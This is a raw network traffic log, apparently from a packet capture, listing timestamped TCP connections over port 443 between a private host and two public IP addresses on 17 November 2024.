Nov 17, 2024 12:35:59.284818888 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.284879923 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.284917116 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.284938097 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.322762012 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.323776960 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.323791981 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.324565887 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.324572086 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.409991980 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410094976 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410161018 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.410191059 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410222054 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.410377979 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.410418034 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410442114 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.410788059 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410875082 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.410928965 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:59.425652027 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.426122904 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.426359892 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.426399946 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.426510096 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.426529884 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.426764011 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.426784039 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.427113056 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.427117109 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.453927040 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.453954935 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.454015970 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.454021931 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.454118013 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.454269886 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.454288960 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.454298973 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.454304934 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.457145929 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.457190990 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.457259893 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.457406998 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.457420111 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.556062937 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.556369066 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.556468964 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.556610107 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.556610107 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.556636095 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.556648970 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.557147026 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.557219028 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.557293892 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.557379961 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.557379961 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.557398081 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.557403088 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.560657024 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.560710907 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.560767889 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.560843945 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.560925007 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.560996056 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.561160088 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.561178923 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.561259985 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.561294079 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.945732117 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.946381092 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.946398020 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.947072983 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.947083950 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.950681925 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.951103926 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.951116085 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.951546907 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.951554060 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.074336052 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.074651957 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.074794054 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.074979067 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.074979067 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.074997902 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.075006962 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.080082893 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.080271959 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.080382109 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.082341909 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.082362890 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.082376957 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.082385063 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.083791018 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.083848953 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.084593058 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.084621906 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.084692001 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.084738970 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.084750891 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.084769964 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.084852934 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.084887028 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.205729008 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.206540108 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.206553936 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.207041979 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.207047939 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.305980921 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.306432962 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.306458950 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.306834936 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.306839943 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344263077 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344293118 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344345093 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.344369888 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344419003 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.344429970 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344445944 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344575882 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.344602108 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344616890 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.344626904 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.344640017 CET	50079	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.344644070 CET	443	50079	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.347223043 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.347263098 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.347357035 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.347510099 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.347518921 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.437608957 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.437684059 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.437758923 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.437772989 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.437812090 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.437861919 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.437999010 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.438013077 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.438021898 CET	50080	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.438025951 CET	443	50080	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.440691948 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.440743923 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.440821886 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.440968037 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.440984964 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.492719889 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.493283033 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.493310928 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.493721008 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.493726015 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.741350889 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.741388083 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.741405964 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.741494894 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.741532087 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.741588116 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.742258072 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.742307901 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.742331982 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.742358923 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.742400885 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.742434025 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.742461920 CET	50081	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.742476940 CET	443	50081	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.744822025 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.744868040 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.746444941 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.746563911 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.746581078 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.815464020 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.818875074 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.818897009 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.820285082 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.820290089 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.825007915 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.826653004 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.826679945 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.826984882 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.826998949 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.945122957 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.945163012 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.945218086 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.945270061 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.945451975 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.945465088 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.945473909 CET	50082	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.945480108 CET	443	50082	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.948354959 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.948390007 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:00.948477030 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.948582888 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:00.948601961 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.076554060 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.076570988 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.076586962 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.076699972 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.076738119 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.076771975 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.076797009 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.096817017 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.097337961 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.097362041 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.097862005 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.097872019 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.168639898 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.169285059 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.169322014 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.169730902 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.169739008 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.195238113 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.195277929 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.195310116 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.195349932 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.195399046 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.195524931 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.195554018 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.195580959 CET	50083	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.195596933 CET	443	50083	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.198071003 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.198128939 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.198206902 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.198339939 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.198364019 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.231883049 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.231915951 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.231981039 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.232012987 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.232033014 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.232177973 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.232201099 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.232232094 CET	50084	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.232239008 CET	443	50084	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.234333038 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.234363079 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.234428883 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.234539986 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.234550953 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.295938969 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.295994043 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.296056032 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.296089888 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.296154022 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.296202898 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.296231031 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.296247005 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.296247005 CET	50085	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.296257019 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.296266079 CET	443	50085	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.298660994 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.298690081 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.298757076 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.298971891 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.298989058 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.475878954 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.476392031 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.476416111 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.476855040 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.476860046 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.604954004 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.605020046 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.605067015 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.605259895 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.605273962 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.605304003 CET	50086	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.605309963 CET	443	50086	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.609085083 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.609121084 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.609184980 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.609323025 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.609335899 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.676311970 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.676781893 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.676827908 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.677217960 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.677228928 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.817483902 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.817658901 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.817768097 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.817842960 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.817873955 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.817890882 CET	50087	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.817898035 CET	443	50087	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.820451021 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.820502043 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.820626974 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.820854902 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.820868015 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.937969923 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.938770056 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.938817978 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.939240932 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.939258099 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.951153994 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.951672077 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.951698065 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:01.952131033 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:01.952137947 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.032001972 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.032428980 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.032453060 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.033121109 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.033127069 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.068998098 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.069319010 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.069411993 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.069516897 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.069534063 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.069546938 CET	50088	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.069551945 CET	443	50088	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.072519064 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.072566032 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.072643995 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.072817087 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.072828054 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.082017899 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.082514048 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.082616091 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.082616091 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.082706928 CET	50089	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.082725048 CET	443	50089	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.085202932 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.085247040 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.085397005 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.085520983 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.085537910 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161345959 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161427975 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161484957 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.161504030 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161560059 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161609888 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.161818027 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.161835909 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.161847115 CET	50090	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.161864996 CET	443	50090	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.341988087 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.342493057 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.342525959 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.343194962 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.343199968 CET	443	50091	13.107.246.45	192.168.2.6
